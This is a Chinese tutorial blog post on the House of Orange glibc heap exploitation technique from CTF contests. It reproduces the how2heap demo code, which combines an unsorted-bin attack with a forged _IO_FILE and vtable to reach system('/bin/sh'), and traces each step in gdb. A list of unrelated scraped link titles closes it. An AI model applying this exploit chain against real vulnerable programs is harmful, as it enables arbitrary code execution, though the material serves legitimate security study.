转自: https://bbs.pediy.com/thread-251195.htm

house_of_orange

https://www.jianshu.com/p/1e45b785efc1

借助gdb调试glibc代码学习House of Orange

https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c

堆溢出-House of orange 学习笔记

https://www.jianshu.com/p/4b0a73f321f9

1．准备工作

学习了CTF比赛中的一种堆利用方法—house of orange，看了很多师傅们的博客和一些国外网站，现在总算理清了一些利用原理。

house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针，并伪造_IO_FILE_plus结构体及其vtable（虚表）来劫持控制流。

为了更加深入地理解，很有必要gdb调试glibc中的malloc.c代码。以我的环境为例，在调试glibc代码前需要安装：

1)   Ubuntu 16.04 x64

2)   gdb。我个人使用pwndbg，您也可以使用其他，如gdb-peda。

3)   源代码和调试符号。借助于调试符号，逆向工程师就能调试任何感兴趣的内容了。

sudo apt-get install glibc-source

sudo apt-get install libc6-dbg

sudo tar xf /usr/src/glibc/glibc-2.23.tar.xz

在gdb提示符下输入以下内容：

pwndbg> directory /usr/src/glibc/glibc-2.23/malloc/

pwndbg> b _int_malloc

上面的gdb命令会在您单步执行时显示被调试函数的源代码。

实际上，在glibc中没有malloc()，只能找到__libc_malloc()和_int_malloc()，而_int_malloc()才是内存分配的函数。__libc_malloc()仅对_int_malloc()进行简单封装。本文贴出的大部分代码都是从_int_malloc()中截取的。

下面以https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c

中的代码为例说明house of orange的原理。

精简掉注释和相关说明后，程序主体如下所示

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int winner ( char *ptr);

int main()

{

char *p1, *p2;

size_t io_list_all, *top;

p1 = malloc(0x400-16);

top = (size_t *) ( (char *) p1 + 0x400 - 16);

top[1] = 0xc01;

p2 = malloc(0x1000);

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

/* Finally, trigger the whole chain by calling malloc */

malloc(10);

return 0;

}

int winner(char *ptr)

{

system(ptr);

return 0;

}

编译调试

gcc house_of_orange.c –g –o house_of_orange

gdb ./house_of_orange

2．调试过程及原理说明

首先从堆中分配一个chunk

p1 = malloc(0x400-16);

pwndbg> heap

0x602000 PREV_INUSE {

prev_size = 0x0,

  size = 0x401,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

prev_size = 0x0,

size = 0x20c01,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

pwndbg> p p1

$2 = 0x602010 ""

2.1 泄露libc基址

考虑这么一种情况，假设在malloc时，程序中的bins里都没有合适的chunk，同时top chunk的大小已经不够用来分配这块内存。那么此时程序将会调用sysmalloc来向系统申请更多的空间。我们的目的在于用sysmalloc()中_int_free()获得一块释放的堆块。

对于堆来说有两种拓展方式：一是通过改变brk来拓展堆，二是通过mmap方式。其中只有brk拓展才会调用到_int_free()将老的top chunk释放掉，所以还需要满足一些条件。

由上述代码可知，要想使用brk拓展，需要满足chunk size < 0x20000

同时，在使用brk拓展之前还有一系列check

这里主要关注如何对齐到内存页。现代操作系统都是以内存也为单位进行内存管理的，一般内存也大小为4kb（0x1000），那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。

整理以上代码，所需条件有：

分配的chunk大小小于0x20000，大于top chunk的size

top chunk大小大于MINSIZE

top chunk的inuse等于1

top chunk的大小要对齐到内存页

满足了以上各种条件，就可以成功调用_int_free()来释放top chunk

此后，原先的top chunk将被放入unsorted bin中。

下一次分配时，就将会从unsorted bin中切割合适的大小，而切割下来的chunk的fd和bk的值将会是libc中的地址了。同时，若该chunk是large chunk，在fd_nextsize和bk_nextsize中还会储存堆中的地址，由此便可以完成信息泄露了。

利用代码

top = (size_t *) ( (char *) p1 + 0x400 - 16);

top[1] = 0xc01;  //将top chunk的大小改为0xc01

p2 = malloc(0x1000);

执行上面3句，将原先的top chunk 0x602400放入到unsortedbin中。其中，0x602400+0xC00= 0x603000，它与0x1000是对齐的。

调试过程如下：

top = (size_t *) ( (char *) p1 + 0x400 - 16);

pwndbg> p top

$1 = (size_t *) 0x602400

top[1] = 0xc01;

pwndbg> heap

0x602000 PREV_INUSE {

prev_size = 0x0,

size = 0x401,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

prev_size = 0x0,

  size = 0xc01,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

0x603000 {

prev_size = 0x0,

size = 0x0,

fd = 0x0,

bk = 0x0,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

p2 = malloc(0x1000);

pwndbg> p p2

$3 = 0x623010 ""

pwndbg> bins

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400

smallbins

empty

largebins

empty

2.2 劫持流程

接下来会涉及到IO_FILE的利用，这种方法被称为FSOP（File Stream Oriented Programming）。

每个FILE结构都通过一个_IO_FILE_plus结构体定义

其中包括一个_IO_FILE结构体和一个vtable虚表指针。_IO_FILE结构体保存了FILE的各种信息。vtable(虚表)指针指向了一系列函数指针。

_IO_FILE结构定义如下：

整个结构不用完全掌握，大概了解就行。

在进程中的产生的各个_IO_FILE结构会通过其中的struct _IO_FILE *_chain;连接在一起形成一个链表，其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all来表示，通过_IO_list_all就可以遍历所有_IO_FILE结构。

_IO_jump_t *vtable结构定义如下，里面保存了一系列的函数指针。

以上，主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3个结构以及_IO_list_all指针的关系和及其内容。下面的图能较好地说明它们之间的关系。

2.3 unsortedbin attack

根据house of orange的流程，将利用unsortedbin attack来修改_IO_list_all指针的数值。

unsortedbin attack是怎么一回事呢，其实就是在malloc的过程中，unsortedbin会从链表上卸下来（只要分配的大小不是fastchunk大小）

在从unsorted bin中取出chunk时，会执行以下代码

这里将最后一个chunk取出，并把倒数第二个chunk的fd设置为unsorted_chunks(av)，这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。

可以发现，如果我们将victim的bk改写为某个地址，则可以向这个地址+0x10（即为bck->fd）的地方写入&main_arena+88。

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

执行上面2句，相当于我们将unsortedbin中的chunk的bk改写成_IO_list_all - 0x10，这样当从unsorted bin中取出它时就可以成功将_IO_list_all改写为&main_arena+88

2.4 FSOP

在此之前，我们先了解一下malloc对错误信息的处理过程.

1)       在malloc出错时，会调用malloc_printerr函数来输出错误信息

2)       malloc_printerr又会调用__libc_message

3)       __libc_message又调用abort

4)       abort则又调用了_IO_flush_all_lockp

5)       最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数

所以如果可以控制_IO_list_all的数值，同时伪造一个_IO_FILE和vtable并放入FILE链表中，就可以让上述流程进入我们伪造的vtable，并调用被修改为system的_IO_OVERFLOW函数。

但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍

观察代码发现，_IO_OVERFLOW存在于if之中，根据短路原理，若要执行到_IO_OVERFLOW，就需要让前面的判断都能满足，即：

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

或者

_IO_vtable_offset (fp) == 0

&& fp->_mode > 0

&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

以上两个条件至少要满足一个，这里我们将选择第一个，只需要构造mode、_IO_write_ptr和_IO_write_base。因为这些都是我们可以伪造的_IO_FILE中的数据，所以比较容易实现。

在前面介绍的unsortedbin attack可以将_IO_list_all指针的值修改为&main_arena+88。

但这还不够，因为我们很难控制main_arena中的数据，并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。

所以我们将目光转向_IO_FILE的链表特性。在前文_IO_flush_all_lockp函数的代码最后，可以发现程序通过fp = fp->_chain不断的寻找下一个_IO_FILE。

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址，那么就可以成功实现利用了。

巧妙的是，_IO_FILE结构中的chain字段对应偏移是0x68，而在&main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk，而这个地址的刚好是我们可以控制的。

smallbins在main_arena中的位置：

下面截图说明：

(main_arena+88)+0x20为smallbin 0x20的fd，(main_arena+88)+0x28为smallbin 0x20的bk

… …

(main_arena+88)+0x60为smallbin 0x60的fd，(main_arena+88)+0x68为smallbin 0x60的bk

我们如果通过溢出，将位于unsorted bin中的chunk的size修改为0x61。（注：现在unsorted bin中的chunk就是之前被释放的top chunk的一部分），那么在下一次malloc的时候，因为在其他bin中都没有合适的chunk，malloc将会进入大循环，把unsorted bin中的chunk放回到对应的small bin或large bin中。

因此，我们将位于unsorted bin中的chunk的size修改为0x61，因此该chunk就会被放入大小为0x60的small bin中，同时，该small bin的fd和bk都会变为此chunk的地址。

这样，当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时，就会寻找到smallbin 0x60中的chunk。

只要在这个chunk中伪造好_IO_FILE结构体以及vtable，把_IO_OVERFLOW设置为system，然后就可以成功getshell了。

利用代码

memcpy( ( char *) top, "/bin/sh\x00", 8);      //传输system()函数所需的/bin/sh

top[1] = 0x61;      //为了将chunk放到smallbins[0x60]中

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

/* Finally, trigger the whole chain by calling malloc */

malloc(10);

调试过程

pwndbg> x  &_IO_list_all

0x7ffff7dd2520 <_IO_list_all>:         0xf7dd2540

pwndbg> x  &main_arena

0x7ffff7dd1b20 <main_arena>:       0x00000000

io_list_all = top[2] + 0x9a8;

pwndbg> p io_list_all

$6 = 140737351853344     //0x7FFFF7DD2520

top[3] = io_list_all - 0x10;

0x602400 PREV_INUSE {

prev_size = 0x0,

size = 0xbe1,

fd = 0x7ffff7dd1b78,

  bk = 0x7ffff7dd2510,

fd_nextsize = 0x0,

bk_nextsize = 0x0,

}

memcpy( ( char *) top, "/bin/sh\x00", 8);

pwndbg> x/20gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000be1

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000000     0x0000000000000000

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x0000000000000000

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

通过在_IO_list_all设置硬件断点（wa *0x7ffff7dd2520），通过gdb调试glibc代码，发现执行完bck->fd=unsorted_chunks(av)
后，_IO_list_all所指的数值改成了main_arena+88

top[1] = 0x61;

将这个chunk放入smallbin 0x60，所以将size位设置为0x61。同时，small bin[0x60]的fd和bk都会变为此chunk的地址

pwndbg> x/20gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000000     0x0000000000000000

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x0000000000000000

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

gdb调试glibc代码，设置断点b _int_malloc，发现执行完下列语句后，将地址为0x602400的chunk放入smallbins[0x60]

由于之前unsortedbin attack来将_IO_list_all指针的值修改为&main_arena+88。

这样，当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时，就会寻找到smallbin 0x60中的chunk。

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

pwndbg> x/50gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000002     0x0000000000000003

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x0000000000000000

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

0x6024a0:        0x0000000000000000     0x0000000000000000

0x6024b0:        0x0000000000000000     0x0000000000000000

0x6024c0:         0x0000000000000000     0x0000000000000000

size_t *jump_table = &top[12]; // controlled memory

pwndbg> p jump_table

$7 = (size_t *) 0x602460

jump_table[3] = (size_t) &winner;

pwndbg> x/20gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000002     0x0000000000000003

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x000000000040078f

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

pwndbg> x/50gx 0x602400

0x602400:        0x0068732f6e69622f       0x0000000000000061

0x602410:        0x00007ffff7dd1b78         0x00007ffff7dd2510

0x602420:        0x0000000000000002     0x0000000000000003

0x602430:        0x0000000000000000     0x0000000000000000

0x602440:        0x0000000000000000     0x0000000000000000

0x602450:        0x0000000000000000     0x0000000000000000

0x602460:        0x0000000000000000     0x0000000000000000

0x602470:        0x0000000000000000     0x000000000040078f

0x602480:        0x0000000000000000     0x0000000000000000

0x602490:        0x0000000000000000     0x0000000000000000

0x6024a0:        0x0000000000000000     0x0000000000000000

0x6024b0:        0x0000000000000000     0x0000000000000000

0x6024c0:         0x0000000000000000     0x0000000000000000

0x6024d0:        0x0000000000000000     0x0000000000602460

pwndbg> p (*(struct _IO_FILE_plus *) 0x602400)

$4 = {

file = {

_flags = 1852400175,

_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,

_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",

_IO_read_base = 0x7ffff7dd2510 "",

_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,

_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,

_IO_write_end = 0x0,

_IO_buf_base = 0x0,

_IO_buf_end = 0x0,

_IO_save_base = 0x0,

_IO_backup_base = 0x0,

_IO_save_end = 0x0,

_markers = 0x0,

_chain = 0x0,

_fileno = 0,

_flags2 = 0,

_old_offset = 4196239,

_cur_column = 0,

_vtable_offset = 0 '\000',

_shortbuf = "",

_lock = 0x0,

_offset = 0,

_codecvt = 0x0,

_wide_data = 0x0,

_freeres_list = 0x0,

_freeres_buf = 0x0,

__pad5 = 0,

_mode = 0,

_unused2 = '\000' <repeats 19 times>

},

  vtable = 0x602460

}

pwndbg> p (*(struct _IO_jump_t *) 0x602460)

$5 = {

__dummy = 0,

__dummy2 = 0,

__finish = 0x0,

  __overflow = 0x40078f <winner>,

__underflow = 0x0,

__uflow = 0x0,

__pbackfail = 0x0,

__xsputn = 0x0,

__xsgetn = 0x0,

__seekoff = 0x0,

__seekpos = 0x0,

__setbuf = 0x0,

__sync = 0x0,

__doallocate = 0x0,

__read = 0x0,

__write = 0x602460,

__seek = 0x0,

__close = 0x0,

__stat = 0x0,

__showmanyc = 0x0,

__imbue = 0x0

}

因为unsortedbin attack的时候破坏了unsorted bin的链表结构，所以接下来的分配过程会出现错误，系统调用malloc_printerr去打印错误信息，从而被我们劫持流程，执行到winner，然后由winner执行system函数。

3. 总结

之前看了很多house of orange的介绍，总不得要领。通过gdb调试glibc的malloc.c后，才知道unsortedbin attack，FSOP的操作都是在最后执行malloc(10)的时候完成的。

完整地跟踪一遍_int_malloc()函数就清楚了：当调用malloc(10)时，首先将unsortedbin中的chunk摘下来，从而导致_IO_list_all修改为main_arena+88

之后将摘下来的chunk放到smallbin[0x60]中

最后，由于unsortedbin attack破坏了unsorted bin的链表结构。此时，victim= (mchunkptr) 0x7ffff7dd2510，victim->size=0，满足__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)，所以在大循环中系统调用malloc_printerr去打印错误信息。

从而被我们劫持流程，执行到winner，然后由winner执行system函数。

而下面的这些语句仅仅是为漏洞利用提供子弹而已

io_list_all = top[2] + 0x9a8;

top[3] = io_list_all - 0x10;

memcpy( ( char *) top, "/bin/sh\x00", 8);

top[1] = 0x61;

_IO_FILE *fp = (_IO_FILE *) top;

fp->_mode = 0; // top+0xc0

fp->_IO_write_base = (char *) 2; // top+0x20

fp->_IO_write_ptr = (char *) 3; // top+0x28

size_t *jump_table = &top[12]; // controlled memory

jump_table[3] = (size_t) &winner;

*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

malloc(10);才会最终执行malloc中的攻击链，它才是关键的扳机操作。

借助gdb调试glibc代码学习House of Orange相关推荐

  1. 【汇编优化】之linux下如何利用gdb调试汇编代码

    1.gdb调试汇编代码 (1).假设有如下代码,test.c /*test.c*/ void main() {int a, int b, int c;a = 1;b = 2;add_mmx(a, b, ...

  2. OAI项目GDB调试及代码分析

    OAI项目GDB调试及代码分析 如果想使用GDB调试工具对项目进行调试,首先需要在编译时加入调试信息. 在完成之前的对eNB和UE的编译之后,使用作者写的编译脚本,同时加上-g选项加入调试信息 ./c ...

  3. 学会使用 GDB 调试 Go 代码

    大家好,我是煎鱼. 上一篇文章<一个 Demo 学会使用 Go Delve 调试>我们详细介绍了 Go 语言如何使用 Delve 进行排查和调试,对于问题的解决非常的有帮助. 但调试工具肯 ...

  4. gdb 调试java进程_使用GDB调试JNI代码

    本文链接:http://blog.csdn.net/kongxx/article/details/7329515 最近在碰到一段JNI代码不停的出现core dump,用gdb看了一下core文件,信 ...

  5. GDB调试c++代码相关资料

    基础教学: https://www.cnblogs.com/chenmingjun/p/8280889.html https://blog.csdn.net/Stone_OverLooking/art ...

  6. 【Linux学习】GDB调试器基本命令必知必会（一）

    本文介绍Linux下GDB调试器常用的基本命令. 测试均在Ubuntu12.10下完成. 先看看GDB调试的效果图: 对应的源代码: //插入排序,GDB调试测试代码 #include <std ...

  7. linux卸载gdb命令,【Linux学习】GDB调试器基本命令必知必会（一）

    本文介绍Linux下GDB调试器常用的基本命令. 测试均在Ubuntu12.10下完成. 先看看GDB调试的效果图: 对应的源代码: //插入排序,GDB调试测试代码 #include int x[1 ...

  8. GDB调试器——GDB调试器简介

    以下内容源于C语言中文网的学习与整理,如有侵权,请告知删除. 一.程序调试器的含义 程序中的错误主要分为 2 类,分别为语法错误和逻辑错误. 程序中出现的语法错误可以借助编译器解决:但逻辑错误则只能靠 ...

  9. [Golang]搭建gdb调试go程序

    搭建gdb调试go程序 前言 gdb安装 更新brew 查看是否存在gdb镜像 安装gdb go build编译 gdb执行 gdb命令 gdb调试 问题整理 参考 前言 学会使用gdb进行golan ...

最新文章

  1. TClientDataSet[22]: 数组字段与 ObjectView
  2. SQL Server里PIVOT运算符的”红颜祸水“
  3. python3.7官网中文官网_通用操作系统服务
  4. Luogu 4244 [SHOI2008]仙人掌图
  5. a标签隐藏真实地址_推荐软件：Clover(窗口标签化工具)
  6. 用代码块在new对象时set属性
  7. java 项目报错，查找错误的方法
  8. 柱状图如何叠加折线图_一样的次坐标轴不一样的柱状图
  9. php调java_php调java接口
  10. Generate Constructor using Fields..
  11. c语言银行信用卡卡管理系统,自编自导多人多卡信用卡管理系统
  12. ZJM 与霍格沃兹（字符串哈希）
  13. html如何制作正方体手工图,立体图形手工模型（怎样用卡纸制作正方体、长方体）...
  14. Cadence allegro小技巧总结
  15. python做测试小工具_自制快速冒烟测试小工具--基于python多线程（2）
  16. C# net6微服务架构之服务注册与发现工具Consul的下载与安装（for windows）
  17. Redis - 启动
  18. Unity 接讯飞离线语音识别
  19. GLOG如何清理日志
  20. 嫁得好，能不能过得好？

热门文章

  1. border渐变 ios_IOS画渐变的三种方式
  2. Python curses使用
  3. 数据模型|组成要素、概念模型、逻辑模型
  4. 程序员有必要参加软考吗？软考有什么用？
  5. Linux防火墙的关闭
  6. AngularJs实现增加订单、批量发货
  7. Java键盘输入一个int数组
  8. 线性代数（2）行列式6种运算性质
  9. Python编程：re中findall()用法
  10. Calendar判断指定时间是周几、上下午、月份的简单运用